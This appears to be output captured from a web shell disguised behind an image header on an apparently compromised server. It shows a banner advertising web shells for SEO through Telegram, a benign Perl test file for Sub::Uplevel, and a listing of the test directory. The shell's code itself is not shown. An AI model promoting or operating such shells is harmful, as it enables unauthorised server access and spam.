����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/perl
use strict;
BEGIN { $^W = 1 }
use Test::More tests => 10;
# Goal of these tests: confirm that Sub::Uplevel will honor (use) a
# CORE::GLOBAL::caller override that occurs prior to Sub::Uplevel loading
#--------------------------------------------------------------------------#
# define a custom caller function that increments a counter
#--------------------------------------------------------------------------#
my $caller_counter = 0;
sub _count_caller(;$) {
$caller_counter++;
my $height = $_[0];
my @caller = CORE::caller(++$height);
if( wantarray and !@_ ) {
return @caller[0..2];
}
elsif (wantarray) {
return @caller;
}
else {
return $caller[0];
}
}
#--------------------------------------------------------------------------#
# redefine CORE::GLOBAL::caller then load Sub::Uplevel
#--------------------------------------------------------------------------#
BEGIN {
ok( ! defined *CORE::GLOBAL::caller{CODE},
"no global override yet"
);
{
# old style no warnings 'redefine'
my $old_W = $^W;
$^W = 0;
*CORE::GLOBAL::caller = \&_count_caller;
$^W = $old_W;
}
is( *CORE::GLOBAL::caller{CODE}, \&_count_caller,
"added custom caller override"
);
use_ok('Sub::Uplevel');
is( *CORE::GLOBAL::caller{CODE}, \&_count_caller,
"custom caller override still in place"
);
}
#--------------------------------------------------------------------------#
# define subs *after* caller has been redefined in BEGIN
#--------------------------------------------------------------------------#
sub test_caller { return scalar caller }
sub uplevel_caller { return uplevel 1, \&test_caller }
sub test_caller_w_uplevel { return uplevel_caller }
#--------------------------------------------------------------------------#
# Test for reversed package name both inside and outside an uplevel call
#--------------------------------------------------------------------------#
my $old_caller_counter;
$old_caller_counter = $caller_counter;
is( scalar caller(), undef,
"caller from main package is undef"
);
ok( $caller_counter > $old_caller_counter, "custom caller() was used" );
$old_caller_counter = $caller_counter;
is( test_caller(), "main",
"caller from subroutine is main"
);
ok( $caller_counter > $old_caller_counter, "custom caller() was used" );
$old_caller_counter = $caller_counter;
is( test_caller_w_uplevel(), "main",
"caller from uplevel subroutine is main"
);
ok( $caller_counter > $old_caller_counter, "custom caller() was used" );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| lib | Folder | 0755 |
|
|
| 00-report-prereqs.dd | File | 2.65 KB | 0644 |
|
| 00-report-prereqs.t | File | 5.45 KB | 0644 |
|
| 01_die_check.t | File | 458 B | 0644 |
|
| 02_uplevel.t | File | 4.46 KB | 0644 |
|
| 03_nested_uplevels.t | File | 1.64 KB | 0644 |
|
| 04_honor_later_override.t | File | 2.28 KB | 0644 |
|
| 05_honor_prior_override.t | File | 2.58 KB | 0644 |
|
| 06_db_args.t | File | 545 B | 0644 |
|
| 07_uplevel_too_high.t | File | 720 B | 0644 |
|
| 08_exporter.t | File | 310 B | 0644 |
|
| 09_emptylist.t | File | 516 B | 0644 |
|